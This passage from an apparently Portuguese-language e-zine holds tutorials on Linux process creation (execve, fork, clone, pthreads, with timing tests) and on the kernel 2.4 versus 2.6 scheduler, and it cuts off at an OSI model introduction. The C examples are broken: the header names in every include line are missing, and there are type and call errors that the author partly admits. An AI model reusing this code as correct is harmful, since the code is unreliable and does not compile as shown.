ralmente pelo processador). É possível manter uma variável no início do primei-
ro MB da memória (endereço 0x10000) e mapeá-la no início do terceiro GB (ende-
reço 0xC0000000). Quando o programa for acessar essa variável no endereço 3GB,
o processador faz a conversão desse  endereço para o endereço  original  (1MB, 
0x00010000).


--=--=[ 3.1 Criando processos

	A maneira mais simples de se criar processos é através da syscall (cha-
mada do sistema  (leia "função do kernel" se estiver com dúvidas))  execve(), 
bastante famosa em artigos sobre  overflow.  Essa função cria um novo processo 
através de um arquivo executável, passando argumentos e, opcionalmente, variá-
veis de ambiente. Vejamos um simples código que executa o famoso "/bin/sh":

<++> lap1/shell.c
/* Execve /bin/sh */

int main(void)
{

	char argv[2];

	argv[0] = "/bin/sh";
	argv[1] = NULL;

	execve("/bin/sh", argv, NULL);

	return 0;

}
<--> lap1/shell.c

	Ao executar esse exemplo,  se não houverem erros, o programa a ser exe-
cutado ("/bin/sh")  irá sobrescrever os dados e código do processo  atual e a
função nunca retornará. O processo criado herda todos os privilégios e manipu-
ladores de arquivos que ainda estão abertos durante a chamada a execve(). O no-
vo processo também herda o PID do processo pai.

	Os parâmetros de execve são o nome do arquivo/script a ser usado para 
criar o novo processo,  os parâmetros passados ao novo processo (não pode ser 
NULL) e as variáveis de ambiente (que pode ser null).

	A limitação de execve reside basicamente no fato de que o processo que
a chama perde seu espaço de execução para o processo criado.  Para ultrapassar
essa limitação, existe outra chamada, a fork().

	A fork() cria um processo filho idêntico ao processo pai,  exceto pelo 
PID e pelos manipuladores de arquivos. A fork retorna ao processo pai o pid do
processo filho, e ao processo filho, retorna 0. Em caso de erro retorna -1 e o
processo filho não é criado. A função fork() não tem parâmetros.  Vamos ver um 
exemplo simples de código que utiliza fork() para criar um servidor  usando so-
ckets.

<++> lap1/forkserver.c
/* Fork socket server */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define MAX_CLIENTES 4
#define MAX_RECVS 4

int ecoar_cliente(int, sockaddr_in *);

int main(int argc, char *argv[])
{

	if( argc < 2 )
	{

		printf("Fork socket server\nUso:\n\t%s porta [nome]\n", argv[0]);

		return 0;

	}

	unsigned int porta = atoi(argv[1]);

	if( ! porta || porta >= 65536 )
	{

		printf("Valor de porta inválido: %u\nDeveria estar entre 1 e 65535", porta);

		return -1;

	}

	char *nome;

	if( argc >= 3 )
	{

		nome = argv[2];

	}
	else
	{

		nome = "localhost";

	}

	int server_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

	if( server_socket == -1 )
	{

		perror("Erro em socket()");

		return -2;

	}

	sockaddr_in sAddr;

	bzero(& sAddr, sizeof(sAddr));

	hostent *ht = NULL;

	if( isdigit( nome[0] ) )
	{

		in_addr_t ad = inet_addr(nome);

		ht = gethostbyaddr(& ad, sizeof(ad), AF_INET);

	}
	else
	{

		ht = gethostbyname(nome);

	}

	if( ! ht )
	{

		perror("Erro em gethostby*()");

		close(server_socket);

		return -3;

	}

	sAddr.sin_family = PF_INET;
	sAddr.sin_port = htons(porta);

	memcpy( & sAddr.sin_addr, ht->h_addr_list[0], sizeof(in_addr));

	if( bind(server_socket, (sockaddr *) & sAddr, sizeof(sAddr)) )
	{

		perror("Erro em bind()");

		close(server_socket);

		return -4;

	}

	int nc, new_fd, pid[4];

	socklen_t addrsize = sizeof(sockaddr_in);

	sockaddr_in cliente_addr;

	for(nc = 0;nc < MAX_CLIENTES;nc ++)
	{

		if( listen(server_socket, 4) )
		{

			perror("Erro em listen()");

			close(server_socket);

			return -5;

		}

		new_fd = accept(server_socket, (sockaddr *) & cliente_addr, & addrsize);

		if( new_fd == -1 )
		{

			perror("Erro em accept()");

			close(server_socket);

			return -6;

		}

		/* Aqui está o que interessa =]
		*/

		pid[nc] = fork();

		if( pid[nc] == -1 )
		{

			perror("Erro em fork()");

			close(server_socket);

			return -7;

		}

		if( ! pid[nc] )
		{

			ecoar_cliente(new_fd, & cliente_addr);

			return 0;

		}

	}

	close(server_socket);

	return 0;

}

int ecoar_cliente(int fd, sockaddr_in *addr)
{

	printf("Conexão recebida de %s\n", inet_ntoa(addr->sin_addr));

	char buf[256];

	int ret;

	for(unsigned int x = 0;x < MAX_RECVS;x ++)
	{

		ret = recv(fd, buf, 255, 0);

		if( ret == -1 )
		{

			perror("Erro em recv()");

			close(fd);

			return -1;

		}

		buf[ret] = '\0';

		printf("%s", buf);

	}

	printf("Processo filho fechando socket...\n");

	shutdown(fd, SHUT_RDWR);

	close(fd);

	return 0;

}
<--> lap1/forkserver.c

	Se você tem alguma noção sobre  sockets,  o código acima não deve ser 
problema. Esse exemplo é didático e apresenta vários erros, mas o que importa é
a utilização da função fork().

	Nesse exemplo, utilizamos fork() sempre que um cliente tenta se conectar
ao nosso servidor.  Quando o cliente obtém a conexão, chamamos fork() e as men-
sagens que o cliente manda são tratadas por um processo recém criado pela fork()
. O processo original continua esperando por outras conexões.  A função fork(),
nesse exemplo,  tem como objetivo impedir o "travamento" causado pela recv() em
sockets do tipo "blocking", que poderia trazer problemas de espera quando vári-
os clientes tentam mandar dados e outros não.  Esse exemplo simplesmente recebe
dados e ecoa diretamente para o terminal. Para testar esse exemplo, compile como
código c++. Para testá-lo, você pode utilizar o seguinte comando:

$ telnet host porta

onde "host" é o host onde o programa roda ("localhost", por exemplo) e porta é a
porta que você especificou no servidor ("9000", por exemplo).

	Além da fork(), temos a vfork(). A vfork() é semelhante à fork(), exceto
pelo fato de que a vfork() bloqueia o processo pai e utiliza a memória do mesmo
para a execução do processo filho.  Essa função deve ser utilizada apenas para
casos em que o processo filho não retorna da função na qual foi criado, não al-
tera qualquer dados (com exceção da variável de retorno de vfork()) e não chama
qualquer função (com exceção de _exit() e execve()). Caso uma destas duas limi-
tações sejam desrespeitadas, a execução poderá apresentar comportamento indefi-
nido.  O processo filho criado por vfork() geralmente chama execve() ou _exit()
imediatamente após sua criação (obs: não chamar exit(), e sim _exit()).

	Por último, mas não menos importante, temos a clone(). Os processos cri-
ados por essa função podem herdar o espaço de execução e manipuladores  abertos
do processo pai. Ao contrário da fork(), essa função não inicia o processo após
a chamada, e sim em uma função definida.  Em caso de sucesso, essa função retor-
na o pid do processo criado, caso contrário, retorna -1. Vejamos um exemplo:

<++> lap1/clone.c
/* clone operation */

#include 
#include 
#include 

int ocupado = 0;

int operacao_demorada(void);

int main(void)
{

	printf("Shell interativa\n\n");

	char buf[256];

	void *pilha;

	while(1)
	{

		printf("# ");

		scanf("%256s", buf);

		if( ! strcmp(buf, "sair") || ! strcmp(buf, "exit") )
		{

			break;

		}
		else if( ! strcmp(buf, "od") )
		{

			pilha = malloc(512);

			if( ! pilha )
			{

				perror("Erro em malloc()");

			}

			if( clone(operacao_demorada, pilha, 0, NULL) == -1 )
			{

				perror("Erro em clone()");

				return -1;

			}

		}

	}

	return 0;

}

int operacao_demorada(void)
{

	printf("Operação iniciada\n");

	sleep(10);

	/* O que foi? Um sleep não está bom?
	*/

	printf("Operação finalizada\n");

	return 0;

}
<--> lap1/clone.c

	O exemplo acima cria uma shell interativa que recebe 3 comandos: "exit"
ou "sair" (que fecham o programa) e "od".  O comando "od" inicia um processo na
função "operacao_demorada", que poderia "travar" a shell se não fosse executado
em outro processo.

	A função clone() é utilizada no linux para implementar threads (ou pro-
cessos leves (Lightweight process, LWP)).  Os parâmetros de clone() são: a fun-
ção inicial para o novo processo (deve ser do tipo "int funcao(void)"),  um bu-
ffer para a pilha do novo processo,  flags de criação e argumentos para o novo
processo. 

	Dentre as flags,  as mais importantes são CLONE_VM  (que permite que o
processo pai e o processo filho dividam a área de dados (toda escrita e mapea-
mento feito na memória de um processo  estará presente na memória  do outro), 
CLONE_FS (ambos os processos compartilham informações sobre o sistema de arqui-
vos, qualquer alteração reflete-se no outro processo),  CLONE_FILES (ambos os 
processos compartilham manipuladores de arquivos novos ou existentes),  CLONE-
_SIGHAND (ambos os processos compartilham os manipuladores de sinais) e CLONE-
_PID (ambos os processos terão o mesmo identificador de processos).



--=[ 4.0 Threads

	Como dito anteriormente, um processo pode ou não ser considerado uma u-
nidade de execução. Atualmente é mais comum considerar threads como unidades de
 execução. Um processo pode ter um ou mais threads. Um thread existe no interi-
or de um processo e compartilha algumas estruturas com outros eventuais threads
do mesmo processo, como o espaço virtual, a área de dados e código, manipulado-
res de arquivos abertos, etc. Por outro lado existem dados e estruturas que são
únicas para cada thread, como a stack e informações sobre registradores.

	A vantagem da utilização de threads em relação aos processos são várias:
os threads utilizam um mesmo espaço virtual, o que facilita a comunicação e di-
minui a utilização de espaço na memória; os threads geralmente são criados mais
rápidos do que processos;  os threads permitem que parte do processo  continue
executando mesmo quando um dos threads esteja bloqueado.

	Geralmente utiliza-se threads em processos interativos (shell? janela?),
onde um thread gerencia a interface (uma janela, por exemplo) enquanto outro faz
operações "pesadas" (como ler um arquivo de 500 MB,  por exemplo),  que normal-
mente "travariam" a interface se fossem realizados no mesmo thread que a geren-
cia. Existem duas maneiras de se implementar threads,  conhecidas como User Th-
reads e Kernel Threads.

	Os User Threads são threads implementados pelo próprio programa, que faz
a troca da execução e a manutenção dos dados de cada thread, enquanto os Kernel
Threads são criados e gerenciados pelo próprio kernel.  As vantagens dos Kernel
Threads sobre os User Threads são muitas: nos User Threads,  geralmente os pró-
prios threads têm de ceder o espaço de execução para outros threads, o que pode
trazer atraso na execução,  caso um thread "trave" ou realize operações demora-
das; além disso,  um thread que bloqueie o processo à espera de alguma operação
de I/O, por exemplo, bloqueia todos os outros threads;  User Threads geralmente
não podem utilizar os benefícios de tecnologias de múltiplos processadores (SMP).

	No Linux, geralmente utiliza-se a syscall clone() para criar threads, ou
seja, utiliza-se Kernel Threads,  porém isso não impede qualquer programa de u-
tilizar User Threads.

	Existem diversas bibliotecas que implementam threads no Linux,  sendo 
mais popular a LinuxThreads, criada por Xavier Leroy (http://pauillac.inria.fr/
~xleroy/linuxthreads/), e a Native Posix Thread Library (NPTL, http://people.re
dhat.com/drepper/nptl-design.pdf). A LinuxThreads é uma biblioteca relativamen-
te simples. As funções mais utilizadas são: pthread_mutex_init, será abordada no
próximo artigo, pthread_create, para criar novos threads, pthread_join, espera o
fim da execução de um determinado thread

Vamos a um exemplo:

<++> lap1/pthread.c
/* pthread read byte
*/

#include 
#include 
#include 
#include 
#include 

void *ReadFileThread(void *);

int print_status, arquivo;

unsigned int tamanho;

int main(int argc, char *argv[])
{

	if( argc < 2 )
	{

		printf("Uso:\n\t%s arquivo [tamanho]\n", argv[0]);

		return 0;

	}

	arquivo = open(argv[1], O_RDONLY);

	if( arquivo == -1 )
	{

		perror("Erro em open()");

		return -1;

	}

	if( argc >= 3 )
	{

		tamanho = atoi(argv[2]);

	}
	else
	{

		tamanho = lseek(arquivo, 0, SEEK_END);

		if( tamanho == -1 )
		{

			perror("Erro em lseek()");

			close(arquivo);

			return -2;

		}

		lseek(arquivo, 0, SEEK_SET);

	}

	pthread_t tid;

	if( pthread_create( & tid, NULL, ReadFileThread, NULL) )
	{

		perror("pthread()");

		close(arquivo);

		return -3;

	}

	char buf[256];

	while(1)
	{

		scanf("%256s", buf);

		if( ! strcmp(buf, "exit") || ! strcmp(buf, "sair") )
		{

			break;

		}
		else if( ! strcmp(buf, "status") )
		{

			print_status = 1;

		}

	}

	pthread_join( tid, NULL );

	close(arquivo);

	return 0;

}

void *ReadFileThread(void *arghh)
{

	char buf[512];

	unsigned int bytes[256] = {0};

	unsigned int reads;

	reads = tamanho / 512;

	if( tamanho % 512 ) reads ++;

	unsigned int ins_loop, loop;

	float pct;

	for(loop = 0;loop < reads;loop ++)
	{

		memset(buf, 0, 512);

		if( (loop == reads - 1) && tamanho % 512 )
		{

			read(arquivo, buf, tamanho % 512);

		}
		else
		{

			read(arquivo, buf, 512);

		}

		for(ins_loop = 0;ins_loop < 512;ins_loop ++)
		{

			bytes[ (unsigned int)(unsigned char) buf[ins_loop] ] ++;

		}

		if( print_status )
		{

			print_status = 0;

			pct = (float) ((float) loop * 512.0f * 100.0f) / tamanho;

			printf("Foram lidos %u bytes (%.2f%%)\n", (loop * 512), pct);

		}

	}

	unsigned int pos = 0;

	for(loop = 0;loop < 256;loop ++)
	{

		if( bytes[loop] > pos )
		{

			pos = loop;

		}

	}

	printf("O byte que mais apareceu foi 0x%X, apareceu %u vezes\n", pos, bytes[pos]);

	return NULL;

}
<--> lap1/pthread.c


	O exemplo acima utiliza dois threads: o inicial, que cria um manipulador
de arquivo e aguarda comandos e um segundo,  que lê o arquivo em blocos  de 512
bytes. Esse programa mostra o último byte que aparece mais vezes em um arquivo.
Para testá-lo, você pode utilizar o seguinte comando:

$ ./programa /dev/zero $[1024 * 1024 * 1024]

	Assim o programa lerá 1GB de dados do arquivo /dev/zero (essa leitura é
até bem rápida, já que o buffer é de 512 bytes).  Enquanto o thread de leitura 
está rodando, o thread principal aguarda instruções ("exit" ou "sair" para sair
ou "status", para mostrar a posição atual da leitura). Novamente, esse código é
apenas para exemplo e apresenta falhas (acho que se você usar um arquivo de ta-
manho >= 4GB, ele dá algum erro).

	Esse tipo de uso de threads é comum em programas que utilizam  janelas
que recebem eventos e não podem esperar pela leitura de um arquivo de 1GB, por
exemplo,  para continuar a execução.  Em muitos casos,  são as operações que o
programador julgou não levarem muito tempo que acabam "travando" a janela quan-
do o usuário as utiliza de maneira inesperada ao programador (abrir um arquivo
de 1GB num editor de texto, por exemplo ;]).



--=[ 5.0 Performance

	Por último, veremos um teste de performance entre fork(), pthread_crea-
te() e clone(). Utilizaremos um código que não faz nada senão retornar dos pro-
cessos/threads criados.
Nestes exemplos serão criados 1000 processos/threads que apenas retornam 0.

/***************************************************************************/

<++> lap1/forktest.c
/* fork() test
*/

#include 
#include 

int main(void)
{

	int loop;

	for(loop = 0;loop < 1000;loop ++)
	{

		switch( fork() )
		{

			case 0:

				pause(15);

				return 0;

			break;

			case -1:

				printf("Fork %u falhou\n", loop);

			break;

		}

	}

	return 0;

}
<--> lap1/forktest.c

/***************************************************************************/

<++> lap1/pthreadtest.c
/* pthread_create() test
*/

#include 
#include 
#include 

pthread_t tid;

void *thread_start(void *);

int main(void)
{

	int loop;

	for(loop = 0;loop < 1000;loop++)
	{

		if( pthread_create(& tid, NULL, thread_start, NULL) == -1 )
		{

			printf("pthread_create() %u falhou\n", loop);

		}

	}

	return 0;

}

void *thread_start(void *arg)
{

	return NULL;

}
<--> lap1/pthreadtest.c

/***************************************************************************/

<++> lap1/clonetest.c
/* clone() test
*/

#include 
#include 
#include 

int clone_start(void *);

char buf[40000];

int main(void)
{

	int loop;

	for(loop = 0;loop < 1000;loop ++)
	{

		if( clone(clone_start, buf + (loop * 40), CLONE_VM, NULL) == -1 )
		{

			printf("clone() %u falhou\n", loop);

		}

	}

	return 0;

}

int clone_start(void *arg)
{

	return 0;

}
<--> lap1/clonetest.c

/***************************************************************************/

Compilando e executando os 3 códigos, e utilizando o comando time, obtive:

$ time ./fork_test

real    0m0.126s
user    0m0.002s
sys     0m0.044s


$ time ./pthread_creat_test

real    0m0.045s
user    0m0.005s
sys     0m0.040s


$ time ./clone_test

real    0m0.026s
user    0m0.001s
sys     0m0.021s


	Note que o tempo do kernel para a criação de um processo/thread utili-
zando clone é menor do que o tempo  para a criação de um processo  utilizando
fork() ou pthread_create(), isso quando o processo possui a flag CLONE_VM. Em
ambientes de execução hostis,  esse tempo pode fazer bastante diferença. Além
disso, provavelmente o processo/thread criado com clone() entrará em execução
mais rápido do que o criado por fork().

E é só isso =]
Espero que tenha gostado do artigo.
No próximo veremos IPC e mecanismos de sincronização entre processos e threads.

Agradecimentos a todo mundo (assim não me esqueço de ninguém), em destaque todo
o pessoal do motd e a juh (aka sync) =]
Até a próxima.


_EOF_

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[07]-=[Algoritmo de escalonamento: Kernel 2.4 Versus 2.6]=-|Felipe Goldstein|-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


--=[ Introdução

  O  Algoritmo  de escalonamento  é  o coração  de  um Kernel.  Existem  muitos
algoritmos e a  eficiência de cada  um deles depende  do tipo de  aplicação que
será executada. O Linux, por ser voltado para o computador pessoal, executa  em
sua maioria, tarefas que interagem com o usuário. Portanto o algoritmo volta-se
principalmente para sistemas interativos.

  Aqui,  discutirei  em  linhas   gerais,  o  funcionamento  do   algoritmo  de
escalonamento do kernel 2.4 e suas desvantagens em relação ao do kernel 2.6.



--=[ Kernel 2.4

--=--=[ Breve descrição do funcionamento do algoritmo de escalonamento

  O escalonador do Linux divide o tempo  de CPU em Eras (epochs). Em cada  Era,
cada processo tem  um time-quantum que  especifica o tempo  que o processo  vai
adquirir de  CPU durante  a Era  atual. Quando  o time-quantum  de um  processo
acaba, o escalonador é chamado e outro processo começa a rodar.

  Uma Era  termina quando  todos os  time-quantum dos  processos ativos acabam.
Então  a  lista ligada  dos  processos é  completamente  varrida, e  para  cada
processo, é  calculado uma  nova prioridade  e um  novo time-quantum.  Por este
motivo, o  algoritmo de  escalonamento do  kernel 2.4  tem a  ordem de  O(n) no
número de processos ativos. O fator linear do algoritmo vem diretamente do fato
de  que o  acesso à  lista ligada  é linear,   e também  da necessidade   de se
recalcular a prioridade de cada processo entre cada mudança de Era, porém  como
veremos  no kernel  2.6 isto  pode ser  feito no  momento em  que se  insere o
processo na lista.

  Os  processos  ativos   dividem-se  em  duas   listas  ligadas  usadas   pelo
escalonador. Uma guarda os processos que ainda não extinguiram todo o seu  time
-quantum designado para a Era  atual e estão esperando para  serem escalonados,
chamada run-queue enquanto a outra guarda os processos que já extinguiram o seu
time-quantum e estão esperando para  serem escalonados na próxima era,  chamada
expired-queue.


--=--=[ Tipos de Processos

  Existem 2 tipos básicos de processos: Processos de Tempo Real e os  processos
convencionais. Os processos de Tempo Real são processos que requerem  respostas
em tempos  determinados. Para  isso eles  precisam de  um maior determinismo do
sistema e portanto recebem maior  prioridade. Estes tipos de processos  recebem
uma prioridade que é  sempre maior que a  dos outros processos convencionais  e
esta prioridade não muda depois que o processo começa a rodar.

  Os  processos  convencionais  recebem  uma  prioridade  que  muda  conforme a
necessidade e no caso do kernel 2.4 , basicamente a prioridade muda conforme  a
quantidade de time-quantum não usada pelo processo em seu último escalonamento,
o que faz com que processos IO-Boud recebam maior prioridade (pois este tipo de
processo deixa sempre sobrando  algum time-quantum quando vai  dormir esperando
um evento de IO).


--=--=[ Quem deve executar primeiro ?

  Uma  das  principais tarefas  do  escalonador é  fazer  a escolha  dentre  os
processos na lista  run-queue de qual  processo executar primeiro.  A escolha é
feita pegando da lista  run-queue o processo com  o maior fator Goodness  que é
calculado da seguinte maneira:

    * Goodness = 0
      Se o processo acabou o seu time-quantum.
      A menos que este processo seja o primeiro processo na lista run-queue e
      todos os outros processos tenham também acabado seu time-quantum , este
      processo não será selecionado agora.

    * 0 < Goodness < 1000
      Se o processo eh convencional e ainda não acabou com seu time-quantum,
      Goodness é a soma da prioridade do  processo com  o que resta  do seu
      time-quantum somado com 1.

    * Goodness >= 1000
      Se o processo é de Tempo Real,  seu Goodness é  a soma de 1000 com sua
      prioridade.

  Perceba que para fazer esta escolha,  todos os processos são percorridos e  é
calculado o fator Goodness de cada um,  o que também implica uma ordem de  O(n)
ao algoritmo de escalonamento.


--=--=[ Sistemas Multiprocessados

  Além da escolha de qual processo rodar primeiro, o escalonador deve  escolher
também (num  sistema multiprocessado)  em qual  CPU o  processo vai rodar. Para
melhor utilizar a memória  Cache, o kernel 2.4  tenta escolher a CPU  no qual o
processo  já  estava rodando.  Mas  isso pode  causar  um overload  de  uma CPU
enquanto outras estão ociosas. Então essa  escolha é feita usando um fator  que
leva em  conta o  tamanho da  memória cache  do processador  e sua  freqüência.
Baseado  nesse fator  o escalonador  decide se  vale ou  não a  pena colocar  o
processo no  mesmo processador.  Porém ainda  assim, no  Kernel 2.4, existe uma
situação  em  que  um processo  pode  ficar  'pulando' de  uma  CPU  para outra
constantemente, desperdiçando a memória cache.  Este já era um bug  conhecido a
tempos.


--=--=[ Performance do Kernel 2.4: Desvantagens

    * O Algoritmo não é escalável :
         Conforme aumenta o número de processos ativos,  aumenta o overhead no
         escalonamento.  O kernel leva  mais tempo  pra decidir  qual processo
         rodar, diminuindo o desempenho do sistema.


    * Estratégia adotada para processos do tipo IO-Bound não é ótima:
         Dar preferência aos processos do  tipo IO-Bound é uma boa  estratégia,
         mas ela não é perfeita.  Imagine que você tenha um processo rodando em
         background como um banco de dados que a todo momento precisa ler dados
         do HD, porém ele não precisa ter um tempo de resposta rápido. Com este
         algoritmo,  este tipo de processo  vai levar vantagem sobre  os outros
         que não são IO-Bound.

         Outro  problema  acontece quando um processo  que é CPU-Bound  precisa
         também interagir rapidamente com o usuário,  este tipo de processo vai
         ter menos prioridade por ser CPU-Bound.


    * Kernel não é preemptivo:
         No kernel 2.4 e  anteriores,   para cada  operação de  escalonamento e
         context-switch um  mutex-lock global  precisa ser  adquirido  antes de
         entrar na seção crítica do código.  Esta seção crítica  é na verdade o
         código completo do escalonador.  Assim,  num sistema  multiprocessado,
         apenas um processador podia executar o escalonador por vez.

         O mutex-lock global  impede que dois ou mais processadores  executem o
         escalonador ao mesmo  tempo e isso pode  representar perda de tempo de
         processamento,  pois os processadores  que  estão tentando  adquirir o
         mutex vão ter que esperar até o mutex ser liberado. Além disso, durante
         a execução do escalonador as interrupções são desligadas, e portanto o
         kernel não é  preemptivo.  Durante  uma chamada  de sistema,  o código
         executado no espaço de kernel não pode ser interrompido.  Por exemplo,
         por um processo de alta prioridade (pode ser de Tempo Real) que acabou
         de acordar  e precisa  executar  na frente de  qualquer outro  tipo de
         processamento.

         Tudo isso traz péssimas implicações para processos de Tempo Real, pois
         diminui  o determinismo da  prioridade de  execução de um processo  de
         Tempo Real.



--=[ Kernel 2.6 - Mudanças

--=--=[ Objetivos

  Ao se projetar um novo escalonador  para o kernel do linux, mantendo  as boas
características que o kernel 2.4  trazia e adicionando novas e  interessantes,
os objetivos principais foram os seguintes:

    * Boa performance de interatividade ,  mesmo durante uma  sobrecarga de uso
      de CPU: Se o usuário clica então o sistema deve reagir instantaneamente e
      executar a tarefa do usuário de forma suave.

    * Justiça:  Nenhum processo deixa de receber ao menos um  pequeno pedaço de
      tempo da CPU e nenhum  processo  recebe injustamente  um grande pedaço de
      tempo da CPU. Respeitando as prioridades de cada processo.

    * Prioridades:   Tarefas menos  importantes  recebem prioridades  menores,
      tarefas mais importantes recebem prioridades altas.

    * Eficiência em ambiente multiprocessado:  Nenhuma CPU deve ficar ociosa se
      existe trabalho a fazer.

    * Afinidade de CPU em ambiente multiprocessado:  Processos que rodaram numa
      CPU têm afinidade a ela, e assim que  possível,  permanecer executando na
      CPU em que já foi executada.  Nenhum  processo deve ficar trocando de CPU
      muito freqüentemente.

  As novas características que chamam mais atenção são as seguintes:

    * Escalonamento  completo  usando um algoritmo O(1):  Sistema  muito  mais
      escalável.  O número de processos  executando não  afeta o desempenho do
      kernel.

    * Kernel Preemptivo: Escalabilidade perfeita num ambiente multiprocessado.
      Não existe mais nenhum mutex-lock global para proteger a área de  código
      do escalonador. Existe agora 1 lista de processos ativos (run-queue) por
      CPU, permitindo o acesso em paralelo às run-queues  sem a necessidade de
      mutex.

    * Escalonamento tipo Batch:  Uma grande  porção dos processos CPU-Bound se
      beneficiam da maneira  Batch de escalonamento,  onde os time-quantum são
      grandes  e os processos  são escalonados por  round-robin.  O novo esca-
      lonador designa este tipo de escalonamento (Batch) para os processos com
      baixa prioridade,   e a nova  política de  prioridade  dinâmica  designa
      menores prioridades quanto mais CPU-Bound for o processo.

    * Sistema mais confiável para processos Real Time:  O fato  do kernel  ser
      Preemptivo e o algoritmo de escalonamento ser O(1)  melhora o  comporta-
      mento do sistema em relação à dar prioridade às tarefas Real Time,  pois
      agora uma  chamada de sistema feita por uma tarefa  de prioridade  menor
      pode ser interrompida por uma  tarefa de maior  prioridade para  que ela
      entre em execução imediatamente.


--=--=[ Vetor de Prioridades

  Ao invés de usar só uma  lista ligada gigante com todos os  processos ativos,
foi usado  uma outra  abordagem na  qual temos  um vetor  de tamanho  fixo cujo
tamanho é o número de níveis de prioridades. Cada elemento do vetor aponta para
uma lista ligada de processos que tem a mesma prioridade.

  Essa é a estrutura básica do novo escalonador:
  A lista run-queue, agora  é um vetor de  prioridades ordenado e cada  CPU têm
sua própria run-queue.  O vetor de  run-queue contém todas  as tarefas que  têm
afinidade com a CPU e ainda têm time-quantum para executar, enquanto o vetor de
expired-queue contêm as tarefas que tem afinidade com a CPU e que expiraram seu
time-quantum, de maneira que este vetor expired-queue (assim como o  run-queue)
também é mantido ordenado.

A estrutura do array de prioridades é descrita como:


   struct prio_array {
       int nr_active;                       /* number of tasks */
       unsigned long  bitmap[BITMAP_SIZE];  /* priority bitmap */
       struct list_head queue[MAX_PRIO];    /* priority queues */
   };


  MAX_PRIO é número de níveis de prioridades do sistema. Para cada prioridade é
mantida  uma  lista  ligada  dos  processos  que  estão  naquela  prioridade. O
escalonador escolhe para executar primeiro a lista dos processos no maior nível
de prioridade e executa-os em Round-Robin.

  Existe um  número fixo  de níveis  de prioridades,  e para  escolher um  novo
processo basta pegar  o próximo elemento  do vetor de  prioridades, portanto, o
algoritmo neste caso é  O(1), pois temos um  tempo constante executado em  cada
escolha de qual processo executar.


--=--=[ Recalculando os time-quantum

  No 2.4  , cada  vez que  terminava uma  Era, percorria-se  todos os processos
recalculando os  time-quantum de  cada um.  No kernel  2.6, o  calculo do  time
-quantum ocorre quando o processo  termina todo seu time-quantum da  Era atual.
Assim, antes de ser passado para  o vetor de expired-queue, seu time-quantum  e
também sua  prioridade são  recalculados. O  vetor de  expired-queue é  mantido
ordenado e contém os processo com os time-quantum já calculados da próxima Era.
Quando a Era atual termina, basta trocar os ponteiros do vetor de run-queue por
expired-queue  e  o  novo  vetor  de  processos  ativos  está  pronto  para ser
executado.

  A  abordagem  do  kernel  2.6  é uma  mistura  de  lista  de  prioridades com
escalonamento  por  Round  Robin.  Os processos  de  uma  mesma  prioridade são
escalonados  por  Round-Robin,  mas  as  prioridades  maiores  são  escalonadas
primeiro.


--=--=[ Resposta Rápida

  Uma das coisas que mais deixam  os usuários do sistema irritados, é  a demora
no tempo de resposta  de um comando. No  kernel 2.6 este problema  é evitado da
seguinte  maneira: ao  invés de  aumentar a  prioridade de  processos IO-Bound,
diminui-se a prioridade  dos processos que  querem consumir muito  tempo de CPU
quando tempo de CPU está escasso.



--=[ Conclusão

  Essas foram as principais mudanças do  kernel 2.4 para o 2.6. O  Linux sempre
foi um sistema operacional voltado para  o usuário de Computador Pessoal e  por
isso conceitos como processamento de  tarefas de Tempo Real, escalabilidade  no
número  de  CPUs e  no  número de  processos  ativos não  foram  prioridades no
desenvolvimento do seu Kernel.

  Um usuário de PC rodando o kernel 2.4 não vai notar a menor diferença  quando
fizer o upgrade para o 2.6, visto que seu PC só tem 1 processador e ele só roda
no máximo, digamos, 100  processos em paralelo. Além  disso não se usa  o linux
como um Sistema Operacional  para controlar um sistema  de Tempo Real, como  um
piloto automático de um avião ou  um sistema de controle de temperatura  de uma
usina nuclear. O Linux não foi projetado para esse tipo de coisa, mas com essas
mudanças se consegue chegar mais perto do que seria um sistema mais escalável e
confiável.

  Segundo Theodore Tso (um dos desenvolvedores do kernel), na conversa que teve
hoje com os alunos da computação no IC (Instituto de Computação - Unicamp),  as
futuras versões  do kernel  caminham em  direção a  se ter  mais robustez  para
aplicações de Tempo  Real, adicionando mais  predictabilidade e determinismo  à
execução de tarefas que exigem alta prioridade.



--=[ Fontes

    1) Livro: Understanding the Linux Kernel ,
              By Daniel P. Bovet & Marco Cesati ,
              Editora O'Reilly

    2) Livro: Linux Kernel Development ,
              By Robert Love ,
              Editora Sams

    3) Email:
	      From: Ingo Molnar
	      To: linux-kernel-mailing-list
	      Subject: [announce] [patch] ultra-scalable O(1) SMP and UP scheduler
	      Date: Fri, 4 Jan 2002 03:19:10 +0100 (CET)

	      Este email pode ser encontrado em:
	      http://kerneltrap.org/node/341

    4) web:   http://www.hpl.hp.com/research/linux/kernel/o1.php

    5) web:   http://www.linuxgazette.com/node/9746

    6) web:   http://www.faqs.org/docs/kernel_2_4/lki-2.html


_EOF_

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[08]-=[Básico sobre o Modelo OSI]=-|d4rwin|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


!AVISO!:  O objetivo deste texto não é nem de longe dar todos os detalhes  sobre
este modelo de referência, porém fornecer uma visão básica sobre ele, permitindo
a compreensão de onde entram protocolos como o TCP e o IP por exemplo, ou então
sobre como os dados trafegam na rede.      


=======================================
=            .,ÍNDICE.,               =
=======================================
=                                     =
=  1.0...Introdução                   =
=   |                                 =
=  2.0...Camadas                      =
=   |->   2.1...Aplicação             =
=   |->   2.2...Apresentação          =
=   |->   2.3...Sessão                = 
=   |->   2.4...Transporte            =
=   |->   2.5...Rede                  =
=   |->   2.6...Enlace de dados       =
=   |->   2.7...Física                =
=   |                                 =
=  3.0...Exemplo prático              =
=   |                                 =
=  4.0...Alegoria                     =
=   |                                 =
=  5.0...Os protocolos e o Modelo OSI =
=   |                                 =
=  6.0...Conclusão                    =
=   |                                 =
=  7.0...Referências bibliográficas   =
=                                     =
=======================================



--=[ 1.0 - Introdução
                     
